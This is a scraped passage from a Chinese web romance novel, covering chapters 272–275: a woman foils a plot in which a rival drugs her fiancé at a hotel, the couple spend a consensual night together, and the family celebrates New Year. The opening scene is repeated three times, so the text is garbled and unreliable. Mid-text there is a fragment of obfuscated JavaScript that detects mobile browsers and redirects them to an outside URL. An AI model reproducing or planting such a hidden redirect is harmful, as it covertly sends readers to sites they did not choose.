接电话的,却是刚才那个侍应生。 “那我带这位先生上六楼等您。” “好。” 夏灼灼答应了,直接按下六楼的电梯。 然而等她上了六楼,却没见到侍应生和司慎行。 她疑惑地再次拨通司慎行的电话,就听到对面602房间发出了手机铃声。 她想着约莫是侍应生先帮她把司慎行带到房间了,就拿着房卡开门。 房间里漆黑一片,她走进去两步,正要摸索着插房卡通电,就直觉身后有人靠近。 她故作不知,继续在墙上摸索插房卡的地方。 下一秒,她突然转身,直接一个飞踢,将靠近的人一脚踢飞。 “唔……” 那人发出吃痛的声音。 下一秒,夏灼灼的脚已经踩在了那人的脸上。 “你是什么人?想干什么?” “饶命,小姐饶命……我也是拿钱做事……” 夏灼灼半眯起眼,辨认出声音正是刚才那个替她扶着司慎行的侍应生。 “司慎行……跟我一起的那个人呢?” “他在702……” “什么人派你来的?” “我也不知道,是一个女人,长得挺漂亮的,她给了我一大笔钱……我、我没想害你,就是按照她说的,把你弄晕,关在这里。” 又求饶:“我真的知道错了,我只是真的缺钱过年……” 夏灼灼先把房间里的灯打开了。 只见那个侍应生面如菜色,脸上很明显一个脚印。 夏灼灼沉默两秒,问:“他人没事吧?” “应该没事,但是喝了一点东西……” “什么东西?” 对方说了,夏灼灼的脸色一黑。 她想起来了,当时端果汁过来的,也是这个人。 她问:“那东西原本是要给我喝的?” “是……” 下一秒,夏灼灼直接将人劈晕。 而后她拨通了阿麦的电话。 “立刻来602一趟,不要惊动任何人。我在这里关了个人,你盯着他,不准让他逃走,我去一趟702。” “是。”阿麦什么都没问,直接应下。 别不是发烧了。 正好一个侍应生路过,询问他们:“两位是要去楼上房间休息吗?” 夏灼灼点头,问:“还有空房间吗?” “有,今天来酒店的客人都不是住的,都是来吃饭的。” “好,那你帮我们安排一间。” 侍应生就说:“恐怕得先去前台办入住,流程还是得走,否则我们没法交代。” 夏灼灼不想为难别人,便点头说:“那你帮我看着点他,我去楼下办入住。” “好的。” 夏灼灼便进了电梯。 到了楼下,前台给了她一张602的房卡。 夏灼灼拿好房卡,一边往电梯里去,一边给司慎行打电话。 接电话的,却是刚才那个侍应生。 “那我带这位先生上六楼等您。” “好。” 夏灼灼答应了,直接按下六楼的电梯。 然而等她上了六楼,却没见到侍应生和司慎行。 她疑惑地再次拨通司慎行的电话,就听到对面602房间发出了手机铃声。 她想着约莫是侍应生先帮她把司慎行带到房间了,就拿着房卡开门。 房间里漆黑一片,她走进去两步,正要摸索着插房卡通电,就直觉身后有人靠近。 她故作不知,继续在墙上摸索插房卡的地方。 下一秒,她突然转身,直接一个飞踢,将靠近的人一脚踢飞。 “唔……” 那人发出吃痛的声音。 下一秒,夏灼灼的脚已经踩在了那人的脸上。 “你是什么人?想干什么?” “饶命,小姐饶命……我也是拿钱做事……” 夏灼灼半眯起眼,辨认出声音正是刚才那个替她扶着司慎行的侍应生。 “司慎行……跟我一起的那个人呢?” “他在702……” “什么人派你来的?” “我也不知道,是一个女人,长得挺漂亮的,她给了我一大笔钱……我、我没想害你,就是按照她说的,把你弄晕,关在这里。” 又求饶:“我真的知道错了,我只是真的缺钱过年……” 夏灼灼先把房间里的灯打开了。 只见那个侍应生面如菜色,脸上很明显一个脚印。 夏灼灼沉默两秒,问:“他人没事吧?” “应该没事,但是喝了一点东西……” “什么东西?” 对方说了,夏灼灼的脸色一黑。 她想起来了,当时端果汁过来的,也是这个人。 她问:“那东西原本是要给我喝的?” “是……” 下一秒,夏灼灼直接将人劈晕。 而后她拨通了阿麦的电话。 “立刻来602一趟,不要惊动任何人。我在这里关了个人,你盯着他,不准让他逃走,我去一趟702。” “是。”阿麦什么都没问,直接应下。 别不是发烧了。 正好一个侍应生路过,询问他们:“两位是要去楼上房间休息吗?” 夏灼灼点头,问:“还有空房间吗?” “有,今天来酒店的客人都不是住的,都是来吃饭的。” “好,那你帮我们安排一间。” 侍应生就说:“恐怕得先去前台办入住,流程还是得走,否则我们没法交代。” 夏灼灼不想为难别人,便点头说:“那你帮我看着点他,我去楼下办入住。” “好的。” 夏灼灼便进了电梯。 到了楼下,前台给了她一张602的房卡。 夏灼灼拿好房卡,一边往电梯里去,一边给司慎行打电话。 接电话的,却是刚才那个侍应生。 “那我带这位先生上六楼等您。” “好。” 夏灼灼答应了,直接按下六楼的电梯。 然而等她上了六楼,却没见到侍应生和司慎行。 她疑惑地再次拨通司慎行的电话,就听到对面602房间发出了手机铃声。 她想着约莫是侍应生先帮她把司慎行带到房间了,就拿着房卡开门。 房间里漆黑一片,她走进去两步,正要摸索着插房卡通电,就直觉身后有人靠近。 她故作不知,继续在墙上摸索插房卡的地方。 下一秒,她突然转身,直接一个飞踢,将靠近的人一脚踢飞。 “唔……” 那人发出吃痛的声音。 下一秒,夏灼灼的脚已经踩在了那人的脸上。 “你是什么人?想干什么?” “饶命,小姐饶命……我也是拿钱做事……” 夏灼灼半眯起眼,辨认出声音正是刚才那个替她扶着司慎行的侍应生。 “司慎行……跟我一起的那个人呢?” “他在702……” “什么人派你来的?” “我也不知道,是一个女人,长得挺漂亮的,她给了我一大笔钱……我、我没想害你,就是按照她说的,把你弄晕,关在这里。” 又求饶:“我真的知道错了,我只是真的缺钱过年……” 夏灼灼先把房间里的灯打开了。 只见那个侍应生面如菜色,脸上很明显一个脚印。 夏灼灼沉默两秒,问:“他人没事吧?” “应该没事,但是喝了一点东西……” “什么东西?” 对方说了,夏灼灼的脸色一黑。 她想起来了,当时端果汁过来的,也是这个人。 她问:“那东西原本是要给我喝的?” “是……” 下一秒,夏灼灼直接将人劈晕。 而后她拨通了阿麦的电话。 “立刻来602一趟,不要惊动任何人。我在这里关了个人,你盯着他,不准让他逃走,我去一趟702。” “是。”阿麦什么都没问,直接应下。 第272章 解他扣子 “好。” 秋雨平时叽叽喳喳的,关键时刻她也很沉稳。 果断挂断电话后,她找了个上卫生间的借口溜走,快速往楼上来。 与此同时,夏灼灼拨通了宗域的电话。 宗域几乎秒接,很诧异地问她:“小灼?怎么了?” 夏灼灼一边按司慎行的虎口,一边说:“你来楼上702一趟,把云霓带走。” 她的声音里带着隐隐的颤抖。 只有气到了极点,她才会这样。 宗域知道她的脾气,不是发生了很严重的事,她不会这样。 因而他不问原因,立刻说:“我马上上来。” 电话刚挂断,秋雨来了。 看到地上昏迷不醒的云霓,她顿时吓了一跳。 再看司慎行不正常的脸色,她同样作为医生,已经猜到了是什么情况。 “东西带来了,需要我来吗?” 她怕夏灼灼情绪之下,会控制不好针灸的手法。 夏灼灼摇头。 “我自己来。你帮我去楼下602跟阿麦知会一声这边的大概情况,让他一定把楼下那个人给我看严实了,这件事,不能低调处理。” 她不想再隐忍了。 隐忍换来的,只是一次又一次的算计。 早知云霓会又一次暗算她,当初知道云霓对云老爷子下毒之后,她就该把事情闹大的。 可世上没有后悔药。 但她不会让云霓还有第三次害她的机会。 “好,我这就去。”秋雨道:“如果你这边需要帮忙,随时打给我。” “嗯。”夏灼灼点头。 秋雨走后没多久,宗域过来了。 他还不知道具体情况,所以没带任何人。 一进门,就看到了地上的云霓。 正好云霓在这时候苏醒过来,看到宗域,她立刻从地上爬起来,哭诉着说:“她打我!她用这个棍子把我打晕了!” 夏灼灼听笑了。 好一个恶人先告状! 正要开口,宗域一个耳光直接扇在了云霓脸上。 云霓的脸被打得偏过去。 她被夏灼灼打的后脑勺生疼,现在脸颊更是被宗域打得火辣辣的,牙龈都泛着疼。 “你打我?” 她不敢置信地望向宗域。 他居然什么都不问,就直接打了她? 然而宗域压根不看她,直接问夏灼灼是怎么回事。 夏灼灼面无表情 开口:“她对阿行下药了。” 宗域眉头微皱。 只听夏灼灼继续说道:“一开始,她下药的对象是我,估计想让我失去清白,或是当众出丑。但她派人给我的果汁误打误撞被阿行喝了,所以她又改了主意,把我骗到楼下的房间。而她自己,则是来了阿行这里。我进门的时候,她正要脱阿行的衣服。” 宗域的脸色变得无比难看。 云霓对司慎行下药,他心里并没有多大的感觉。 只是烦躁,云霓又给他惹了祸。 可听说云霓原本是要对夏灼灼下药的,他立刻黑了脸。 “你疯了吗?” 宗域死死盯着云霓的脸:“关了你一天,我以为你至少能稍稍反省,却没想到你还变本加厉?” 云霓心虚地否认:“事情不是她说的那样……” 然而她的否认是苍白的。 夏灼灼再次开口:“她买通的人现在在602,你把她带过去,让那个人指认。这件事我不想大事化小。” “好,查清楚之后,我会如实告诉云老。” 宗域说着,又看了眼昏迷不醒的司慎行,问:“他这里需要帮忙吗?” “不用,我能解决。” “好,我知道了。” 宗域应声,随后一把抓住云霓的胳膊。 “走!” “我不走……”云霓慌了。 爷爷本来就对她失望透顶,如果让爷爷知道了,她不敢想爷爷会怎么对她。 但即便如此,她心里仍旧没有半分悔意。 她只恨自己的计划不够缜密,让夏灼灼找了上来。 她的想法,原本的确是想毁掉夏灼灼的清白。 可夏灼灼没喝那杯果汁。 在知道那杯果汁被司慎行喝了之后,她就想着,既然夏灼灼抢走了宗域,那她就抢走司慎行! 横竖她做了宗域的妻子了,那就做司慎行的妻子! 她想着,事成之后,她就打电话叫记者来。 让司慎行不肯认,也得认。 逼他娶了自己。 可计划还没开始,就已经夭折。 她好恨! 恨为什么计划不能按照她预想的进行。 恨夏灼灼为什么能那么敏锐。 恨自己找的人不够利落。 可她没想过,就算她的计划真的成功了,司慎行也绝对不会娶她。 而那些她原本打算事成之后叫过来的记者,也绝不敢把这种新闻往外发。 她的计划,从一开始就不会成功。 她太愚蠢,也太自负。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591628|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云霓死死扒拉着门把手,怎么都不肯出去。 “我不走!你不准告诉爷爷!你要是告诉爷爷,我就告诉全世界的人,说你是个**犯!我们都别想好!” 宗域压根不管她的威胁,一把打掉她抓着门把手的手后,生生将人硬拖了出去。 套房里终于安静了。 夏灼灼微微吐了一口气后,打开针灸包,将银针进行消毒后,解开司慎行的上衣为他针灸。 过了约莫十分钟之后,司慎行慢慢转醒。 他头痛欲裂。 但看到夏灼灼就坐在他身边后,他莫名觉得头没有那么痛了。 “我睡了多久?” “没多久,十几分钟。” 夏灼灼说着,拔掉他身上的银针问:“你现在觉得还有哪里不舒服吗?” 司慎行想说自己没事。 他还不知道自己中了药。 只是还没开口,夏灼灼又补了一句:“不准骗我,你知道我最讨厌别人骗我。” 司慎行只好如实说:“头有点疼……身上还有点热。” 又说:“我平时酒量挺好的,今天估计是混着喝了,所以才……” “你被下药了。”夏灼灼打断他说。 司慎行错愕抬眼。 “什么下药?” 夏灼灼就把他意识不清的事情仔细告诉了他。 司慎行脸色大变,一副想**的样子。 “云家那女人,简直找死!” 他从床上爬起来就要去找云霓算账,可才走出两步,就头重脚轻,差点栽倒在地。 还好夏灼灼眼疾手快把人扶住了。 “我刚才帮你把毒逼出来了一部分,你现在脉象乱,身体很虚,别折腾了,赶紧躺下。” 老婆的话不能不听,司慎行只好躺回去。 夏灼灼往他身后垫了个枕头,替他调整好一个舒服的姿势。 司慎行微微吐了一口气,那种头重脚轻的感觉才有所缓解。 而且他明显感觉身体的体力在一点一点慢慢恢复。 “宗域那小子怎么说?”他问。 “他说会告诉云老。” 司慎行冷笑一声,说:“告诉云老头有什么用?他最溺爱这个孙女,最终还是会大事化小。我看,不如直接报警,顺便叫了媒体过来。” 他一想象云霓坐在她身上解开他扣子的场景,胃里就直犯恶心。 “这会损坏你的名誉。”夏灼灼说:“让他们云家自己处理,我们这边拿出个态度,他们就不敢轻拿轻放,这次一定会重重惩罚云霓。” 第273章 我愿意 一开始,夏灼灼也是想着把事情能闹多大闹多大。 可后来冷静下来之后,她就不想这么干了。 闹大之前,司慎行的名声也会跟着被毁。 云霓对司慎行下了药,他们之间有没有真的发生过什么,夏灼灼清楚,可挡不住外头人的想象力。 世人最爱八卦这些桃色绯闻。 她私心不想司慎行跟云霓扯上任何关系。 所以,只要他们表现出强硬的态度,对云家施加压力,那么云家自然会狠狠教训云霓。 大家族的手段,不比进监狱轻松。 司慎行仍是不赞同。 他自己恶心点倒是无所谓,但可恨的点在于,云霓一开始是想算计夏灼灼的。 这一点,他忍不了。 夏灼灼只好拿出小女儿姿态。 “我吃醋。我不想你的名字跟她的名字放在一起被议论。” 司慎行很吃这一套,果然听她的劝。 说着说着,司慎行觉得自己差不多恢复了力气。 可是身体莫名越来越热。 他的眼睛忍不住往夏灼灼的唇上看。 她真的生的很漂亮,继承了夏云海高挺的鼻梁,也继承了宁穗香身上的优点。 司慎行身上燥热,佳人在侧,心思不禁活络起来。 这种感觉,他很熟悉。 一年前他经历过。 在泉灵山庄。 可他极力忍耐着,不叫夏灼灼看出端倪。 他伤害了她一次,不想伤害她第二次。 于是司慎行故意支开她说:“我想睡一会儿,你帮我去看看阿麦他们处理的怎么样了。” 夏灼灼道:“阿麦办事很仔细,不用我去看,他会办好的。而且宗域也介入了,我们可以放心,他们自己就能处理好。” “那你去看看伯父和伯母,我们离开这么久,他们会担心的。” 夏灼灼察觉出了司慎行的不对劲。 “你故意要支走我?” 司慎行立刻摇头:“没有。” “别撒谎。我不喜欢你对我说谎。” 司慎行眸色沉了沉。 是那种近乎夜色的黑沉。 他用力咬着后槽牙,似在挣扎。 夏灼灼索性拉过他的手,说:“你不说我也猜得到。你身体里的药,我逼出来了一部分,但还残留了一部分。” 她知道,残留的这部分,不至于吞噬司慎行的理智。 可身体却是无法控制。 她用全力帮他逼毒了,可这种药很特殊,轻易很难代谢。 能逼出一部分,已经是寻常医生做不到的了。 “你不舒服,是不是?”夏灼灼直视着他的眼睛问。 司慎行的喉结狠狠上下滚动了一下。 他极力隐忍,还是瞒不过她。 “对不起……” 他说:“我不是故意骗你的。你别生气,也别担心我,我去冲个冷水澡就能缓解。” “没用的。”夏灼灼说:“如果冲冷水澡就有用,一年前,你不至于……” 她顿了顿,很认真地说:“如果你忍不住……我愿意。” 司慎行的眼睛,倏然变得灼热无比。 “灼灼,你真的……愿意?” 他能感觉到,在这之前,夏灼灼对这种事还是有点抗拒的,所以他每次都忍着,从不越线。 “嗯。” 夏灼灼认真点头。 她其实早就愿意了,只是越不去传统思想的坎。 而今天,云霓误打误撞,把她往前推了一把,推她过了这道坎。 “我愿意的。”她重复了一遍,盯着司慎行的眼睛说:“让我帮你解毒,好不好?” 司慎行用力攥着手心,似乎是在挣扎。 “我想……想给你一个好的回忆,而不是像今天这样。” 夏灼灼说:“只要是你,都是好的回忆。” 司慎行呼吸一窒,下一秒,突然伸手用力抱住了她。 他常年健身,手臂健壮有力,把夏灼灼裹在怀里,然后用力亲吻她。 两个人对于亲吻这件事,都有了经验。 司慎行很快把她吻得浑身燥热酥麻。 她像是飞到了云端,整个人晕晕乎乎的,没有脚踏实地感。 两个人的呼吸都快起来。 司慎行道:“我们去洗个澡……” 夏灼灼有点不好意思,但还是点头了。 他反锁上门,又抱她去了浴室。 浴室热气蒸腾,两个人宛若置身仙境。 夏灼灼咬咬牙,自己将衣服全脱了。 司慎行就仔细帮她洗身子。 触及到一些地带,夏灼灼的身子微微发颤。 很快,两个人洗完澡,司慎行又将她抱回到床上。 “真的想好了?”他的额头抵着她的鼻尖。 “你别问了……关灯!” 司慎行粲然一笑,关掉灯后,再次吻住她的唇。 这一次,不再是浅尝辄止。 月光的颜色渗进窗缝,将夏灼灼的身体润色成玉的光泽。 她感觉到司慎行身上混杂着酒气的沉重呼吸。 她的呼吸也渐渐变得沉重起来,却又带一点急促。 司慎行浑身滚烫,掌心更是像一团火,在她身上徘徊游走。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!身上的白色浴巾散落在床,两人身上都出了一点汗。 司慎行心里是急切的,可动作又是耐心的。 他在一点一点让她放松。 夏灼灼的身体很快变得像一滩水。 身下的浴巾早就变成了扭曲的姿态。 司慎行欺身而上,像一头即将吞噬绵羊的狼。 夏灼灼很快感觉到身下一点疼痛。 这种疼痛是陌生的,却隐约又有一点熟悉。 好在不难熬。 司慎行的掌心就置在她脸颊两侧,像是化成了无形的浪花一阵阵推涌着她,让她忍不住发出了一点稀碎的嘤咛。 很快,司慎行也控制不住自己了。 巨浪一下重过一下,最后都化成了千万的温柔。 “灼灼,我爱你!” 他一声低吼,整个人变得有些僵硬。 片刻后,万籁俱静。 他搂着夏灼灼,亲吻过她通红的脸颊,而后起身去浴室清洗。 洗净后,又拿了热毛巾,一寸寸将夏灼灼身上的肌肤擦拭干净。 夏灼灼一开始还有点不好意思,后面就随他去了。 她一点都不想动。 司慎行帮她擦洗干净后,自己也回到了床上。 他静静望着她,眼神缱绻而绵长。 他的灼灼,如今已经完全属于他了。 月光仿佛被熬成浓稠的糖浆,在漫长的时间里缓缓流淌。 一个晚上,外头都没有任何动静。 连个敲门的人都没有。 夏灼灼本来还想强撑着起来,下楼看看爸妈他们现在是什么情况,但脑子在挣扎着起床,身体却是一点都动不了。 她太累了。 全身上下仿佛全部都被什么重物碾过。 恍惚中,她似乎听到了烟火绽放的声音,而后又感觉司慎行似乎起身了。 她想掀起眼皮看,但眼皮重的吓人。 渐渐的,她不再挣扎了,思绪放空,很快沉沉睡过去。 …… 再睁眼,已经是第二天。 夏灼灼是被鞭炮声音吵醒的。 她一个激灵,猛地睁开眼睛。 身侧司慎行安静躺在她身边,而她的脑袋,正枕在司慎行的手臂上,整个人几乎全部蜷缩在司慎行的怀里。 脑子里像是放电影一般,将昨晚的一幕幕清晰重映。 她的脸颊像是被什么东西烫了下,火辣辣的。 突然司慎行的眼皮动了下。 夏灼灼不知道为什么,紧张地闭上眼睛装睡。 她觉得自己这么做有点莫名其妙,可既然已经装睡了,那也只能装睡到底。 谁想旁边的人突然嗤笑一声,问她:“醒了怎么还赖床?” 他很巧妙地把她装睡说成了赖床。 夏灼灼立刻顺着台阶往下走,睁开眼睛,装出一副刚睡醒的样子,说:“还是有点困。” 司慎行没戳破小姑娘的羞涩。 他说:“我先去洗漱,再跟你说你睡着之后的事。” 夏灼灼的眼皮跳了下,问:“我睡着后还发生了什么?” “我先洗脸,一会儿跟你说。” 夏灼灼点头。 趁着司慎行去洗脸的时间,快速将衣服穿回去。 等司慎行从洗漱间里出来,夏灼灼已经穿戴整齐了。 目光触及司慎行的脸时,她的脸颊微红,不知是热的,还是别的什么。 “我也去洗脸。” 她说着,一头钻进洗漱间。 来到洗手台前,她盯着自己的脸,红扑扑的,像是一颗樱桃。 她暗骂自己没出息,用冷水洗了把脸,脸上的热度才慢慢褪下去。 等再出来的时候,司慎行已经叫了早餐。 服务生把早餐放在小推车里,推到了客厅。 “来吃早饭。不一定合你的胃口,先随便吃点,再去外面吃。” “好。” 夏灼灼尽量让自己表情自然,来到司慎行对面坐下。 好在司慎行很自然地注意了她的害羞和紧张。 他说起刚才没说完的话。 “昨天晚上你睡着之后,我下楼了一趟,跟爸妈说明了情况。” 夏灼灼看他一眼。 司慎行笑了下,道:“我打算过了十五,咱们就去领证,现在提前先改口,习惯习惯。” “……” 她知道,司慎行这么说,是为了让她安心,告诉她,他不是不负责任的人。 “你怎么跟他们说的?” 司慎行道:“如实说。” 夏灼灼的脸再次烫起来。 “那、那他们怎么说?除了他们,还有谁知道?” 司慎行一一解答。 “只有爸妈知道,他们很理解,但希望我们能尽快领证。” 夏灼灼点头。 司慎行又说:“云家那边,云老和老先生亲自来跟我道谢了,他们一直等在大堂,等到了十二点多,才见到我。” 停顿一刻,他说:“云家给云霓找了个丈夫,是云先生身边的一个助手。年后完婚,然后他们一起去国外,再不回来。” 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。 第274章 无不散的宴席 夏灼灼错愕抬眸。 “丈夫?” “嗯。” 夏灼灼大概听懂了。 说是丈夫,其实是为了捆住云霓,找这么一个人,一辈子盯着云霓。 这对深爱宗域,又从小被宠大的云霓来说,简直生不如死。 比打骂云霓一顿,痛苦千万倍。 “云霓能同意吗?” 司慎行眼底带着冷冽的光,说:“她不同意也得同意。” 不这样安排,他怎么可能作罢? 正是因为知道,这惩罚对云霓来说简直是炼狱,他才肯“大事化小”。 “那爸妈他们晚上住在哪里?” “我在这附近还有一栋别墅,叫他们都住到那里去了。一会儿我们吃完去看他们。” “好。” “顺便买点拜年礼。” “好。” 夏灼灼今天格外安顺。 司慎行知道她还在不好意思,也不多说什么。 两个人安静吃完了一顿早餐。 吃完后,两个人拿上外套下楼。 却在酒店大堂碰到了宗域。 他似乎一晚没睡,特意等在这里似的。 看到夏灼灼,他的眼睛亮了一瞬。 可看到夏灼灼身后的司慎行时,亮起的眼睛又暗了下去。 “小灼,司先生。” 他主动打了招呼。 司慎行不想搭理他,但碍于夏灼灼,还是点头了。 宗域便走上前,说了句“新年快乐”后,问夏灼灼:“我能跟你单独聊五分钟吗?” 夏灼灼看了眼司慎行。 司慎行道:“我先去车上等你,把空调调高。” 夏灼灼有些诧异。 司慎行竟然轻易同意了? 但很快,夏灼灼就知道司慎行为什么同意她跟宗域单独说话了。 宗域道:“过完年,我要去云市任职,大概三年后才能回来。” 夏灼灼诧异地问:“怎么这么突然?” 宗域扯唇一笑,说:“云老安排的,以后还是会回来。但三年内,估计不太会回来了。” 夏灼灼点点头,知道他是去下面历练,以后再回来,就是再往上走一步了。 她说:“天下没有不散的宴席,祝你万事胜意,步步高升。” “谢谢。” 两个徒然沉默下来,一时间不知道该说什么。 在以前,两个人有说不完的话要聊,如今却是尴尬到说不出多余的半句话了。 还是宗域先打破沉默,说:“下午云霓就会去国外了,以后都不会再回来,你放心,她不会再出现在你面前了。” 夏灼灼道:“我知道。祝她一路顺风吧。” “嗯。” 宗域点头。 他趁着两个人没再陷入尴尬的沉默前跟她道别。 “我走了,你保重。等……等什么时候你办婚礼了,记得给我寄一张邀请函,我一定到。” “好。” 宗域扯了下唇,转身走了。 望着他的背影,夏灼灼的鼻尖莫名有些发涩。 人与人之间的缘分,实在是很奇妙。 以前觉得一辈子都不会分开的两个人,转眼间,已经是最熟悉的陌生人了。 夏灼灼揉了下眼睛,深吸一口气,也往外走。 她出去的时候,宗域已经不见人影,只看到一辆黑色商务车的车门打开,司慎行从里面走出来,对她招了招手。 “上车。” 夏灼灼点头,在司慎行的搀扶下上了车。 她身下感觉有一点细微的疼,不影响走路,只是大幅度动作下,有些隐隐的疼。 以前只以为第一次会疼,没想到第二次也…… 夏灼灼很快让自己不要想下去了,因为她的脸又要开始发烫了。 好在车内灯光很暗,可以掩饰她的害羞。 司慎行在这时问她:“他跟你说了他要调走的事情了吗?” 夏灼灼知道司慎行是在问宗域。 她如实点头。 “说了。还说,云霓是下午的飞机。” “嗯。” 司慎行应了声后,再不谈云霓和宗域的事,只是问她还要不要吃点东西。 在酒店房间里的时候,她吃的东西并不多。 夏灼灼摇头:“先去见爸妈,如果他们也没吃,就再一起吃点儿。” “好。”他的声音,比往常还要温柔一分。 很快到了夏家人住的房子。 这里比司慎行和夏灼灼住的地方稍小一点,但楼层要多两层,因而住下昨晚的一帮人绰绰有余。 临下车前,司慎行突然递过来一个大红包。 “新年快乐。” 夏灼灼很错愕。 “你什么时候准备的?” “在沪城的时候就准备了,没多少,图个吉利。” 夏灼灼打开看,发现里面有零有整。 “一共8888,祝你新的一年,万事顺意。” 吉利话叫人听了很愉快,夏灼灼笑起来。 “也祝你心想事成。不过我没来得及准备红包和新年礼物……” “用不着,你就是我最好的礼物。” 司慎行神色认真,夏灼灼的心跳快了一拍。 “下车吧。” 这章没有结束,请点击下一页继续阅读!司慎行拉开车门,护着她下车,小心翼翼的动作,让夏灼灼的心跳变得更快了。 他应该是感觉到,她“那里”有点疼的。 夏灼灼努力让自己看起来平静一些,但通红的耳朵还是出卖了她的内心。 很快走到别墅里。 客厅里欢声笑语一片,夏灼灼单是听着声音,眉眼已经不自觉变得更柔和。 “小七!” “阿行。” 大家立刻注意到了他们,快步迎上来。 屋内屋外温差大,夏灼灼将自己身上的外套脱下来交给佣人,这才抬眼看人。 家里人都在,秋雨和谷仔他们并不住这里,却也早早过来了。 夏灼灼的目光迅速打量一群人一番。 发现只有爸妈,还有秋雨看她的眼神略有一丝不一样,其他人神色都很正常。 夏灼灼就判断出,昨晚司慎行被下药的事情,只有他们三个知道。 他们谁都没往外说,连自家人都没告诉。 秋雨也是,甚至连谷仔都没有告诉。 夏灼灼悬着的一颗心稍缓。 否则她真是要坐立不安,尴尬到找个地缝钻进去了。 夏六拽着她的衣角说:“我们开了个麻将桌,但是三缺一,正好你来了,给我们凑个数。” 夏灼灼样样精通,点头答应。 “好啊。” 然而夏太太在这时候开口:“我新年礼物还没给小七,阿行,你先代她打两圈,我们母女俩说会儿话。” “好。” 一行人热热闹闹打麻将去了。 其他不会打的,就凑在旁边看。 夏灼灼则是被夏太太带着来到了楼上。 她大概知道夏太太要跟她说什么,怕她误会自己不情愿,正要解释昨晚是她主动要给司慎行解毒时,夏太太塞了个红包过来。 “新年快乐,小七,妈祝你开心快乐,万事胜意。” 又拿出一个礼盒。 夏灼灼打开看,发现是一套很沉的高级珠宝。 “这是我结婚十周年的时候,你爸给我买的。我一直不舍得戴,现在你回家了,正好给你。原本这是要等你结婚的时候给你的,但我觉得,今天这样的时间更好。” “谢谢妈……” “傻孩子,跟妈还谢什么?下楼去玩吧!我跟他们说过了,午饭我来做,给大家包饺子。” 夏灼灼的眼眶一下子红了。 她还以为夏太太是要提昨晚的事,没想到真的只是要给她新年礼物。 她没有直接下去,而是主动拉着夏太太说了昨晚的事。 “阿行没有逼我,他想要自己忍过去的,是我说,我愿意帮他解毒。” 夏太太点点头,帮她把额前的碎发别到耳后,说:“我知道阿行很尊重你,不会强迫你的。” 夏灼灼放心了。 她就怕夏太太因此对司慎行有意见。 她希望自己爱的家人,能全心全意接纳她爱的男人。 “不过……”夏太太话音一转,问她:“你们有做措施吗?” 夏灼灼懵了一下。 她忘了这个…… 司慎行当时药效作用,肯定更没想过这个。 她咬住唇,摇头说:“没有。” 夏太太拉住她的手,先说了句:“你是医生,肯定知道这意味着什么。也知道,现在吃药也来得及。你想要吃药吗?” 又补了一句:“如果要,我一会儿出门买菜的时候,帮你带回来。” 就免得夏灼灼经过司慎行那边,或是自己不好意思去买药。 夏灼灼认真思考了半分钟才回答。 “妈,阿行说,年后我们两个就去领证。” 夏太太听懂了她的意思。 她不打算吃药。 不过听到两个人年后就领证,似乎也的确用不着吃药了。 要是一击即中,那就成大喜事了。 只是欢喜之下,她又正色起来,问:“司正飞那边怎么说?” 司正飞就是司董事长的名字。 夏太太道:“他一开始是想履行你们的婚约的,但是后来不知道为什么,绝口不提这个。我担心,他那边可能有变。” 夏灼灼说:“司董事长因为一点误会,的确对我有点意见。但您不用担心这些,这件事很快会解决。” 她救了司董事长的命。 不过这件事暂时不好对外说。 他们还在做一个针对司谨言的计划。 夏太太稍稍放心。 她说:“那你要格外注意这次来例假的时间,如果推迟了就告诉我。嗯?” 夏灼灼点头:“好。” “好了,下去吧,我也该出门买菜了。你不喜欢吃三鲜的,喜欢吃芹菜的,是不是?” 夏灼灼点头。 夏太太把她的喜好都摸得很清楚了。 就怕她口味突然变了,才确认一次。 很快两人下了楼。 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。 第275章 新年 夏太太不仅给夏灼灼准备了红包礼物,还给其他人都准备了礼物。 所以两人下楼的时候,手上提着满满当当的东西。 礼物和红包一一发下去,大家都很开心。 夏怀征也从怀里拿出红包,分给弟弟妹妹,连秋雨也有份。 “想不到我这么大还能有红包。”秋雨说。 夏灼灼笑了下,道:“不管咱们多大,在爸妈眼里,我们永远都是孩子。” 秋雨的眼眶略有一点红。 她想到了自己的父母。 她跟父母的感情淡薄。 今年过年,一家三口都没有见过面。 母亲在欧洲,父亲在越国,各自做食品生意。 如果不是她还有个疼爱她的爷爷,她都觉得自己是个孤儿了。 “我爸妈,今年可能会离婚。”秋雨小声跟她说。 夏灼灼微微错愕,却不十分意外。 秋雨跟爸妈关系之所以生疏,就是因为她父母关系不和睦。 夫妻都关系不和睦了,一家三口怎么可能跟平常人家一样? 夏灼灼没有说劝她看开些这种虚的话,只说:“我爸妈就是你爸妈,还有,以后你又多一个人爱你了。” 秋雨点头说:“嗯!等我跟谷仔有了孩子,我一定会对她很好很好。然后再多生几个,免得跟我一样,独生女,孤零零的。我想跟你一样,让孩子们有很多兄弟姐妹。” 夏灼灼笑道:“等你们生了第一个再说。万一生了一个你就被烦的不想生了呢?” “也是。” 聊着聊着,秋雨放松下来。 那边司慎行打了好几圈麻将,输得夏六懊丧不已。 “我的红包都输光了。” 司慎行薄唇微勾,来到夏灼灼面前,公然把赢下来的所有红包都塞给她。 夏灼灼没拒绝,笑着接了,还冲夏六晃了晃红包。 夏六气得咬牙切齿,但眼底没有半分怒意。 “继续继续!”他不服输。 司慎行道:“我先抽根烟,休息一会儿,等会儿让灼灼来。” 又说:“灼灼,陪我出去抽烟?” 夏灼灼点头。 他们两个人穿上外套,来到了外面。 司慎行却没抽烟,只是问她:“伯母都跟你说什么了?” “没……” 夏灼灼有一瞬间的心虚。 司慎行定定望着她。 夏灼灼只好如实说:“妈问我要不要吃药。” 司慎行一脸错愕:“吃什么药?” 夏灼灼的脸红起来,支支吾吾说:“就是、就是避孕的药。” 司慎行黑眸微怔。 